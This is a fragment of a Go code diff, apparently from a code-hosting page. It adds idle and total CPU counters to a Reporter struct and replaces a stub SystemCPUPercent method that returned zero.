||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
@@ -10,6 +10,10 @@ import (
|
||||
|
||||
type Reporter struct {
|
||||
mu sync.Mutex
|
||||
|
||||
lastIdle uint64
|
||||
lastTotal uint64
|
||||
hasSample bool
|
||||
}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
@@ -45,6 +49,3 @@ func (r *Reporter) TotalMemoryMB() uint64 {
|
||||
return total / (1024 * 1024)
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
return 0
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user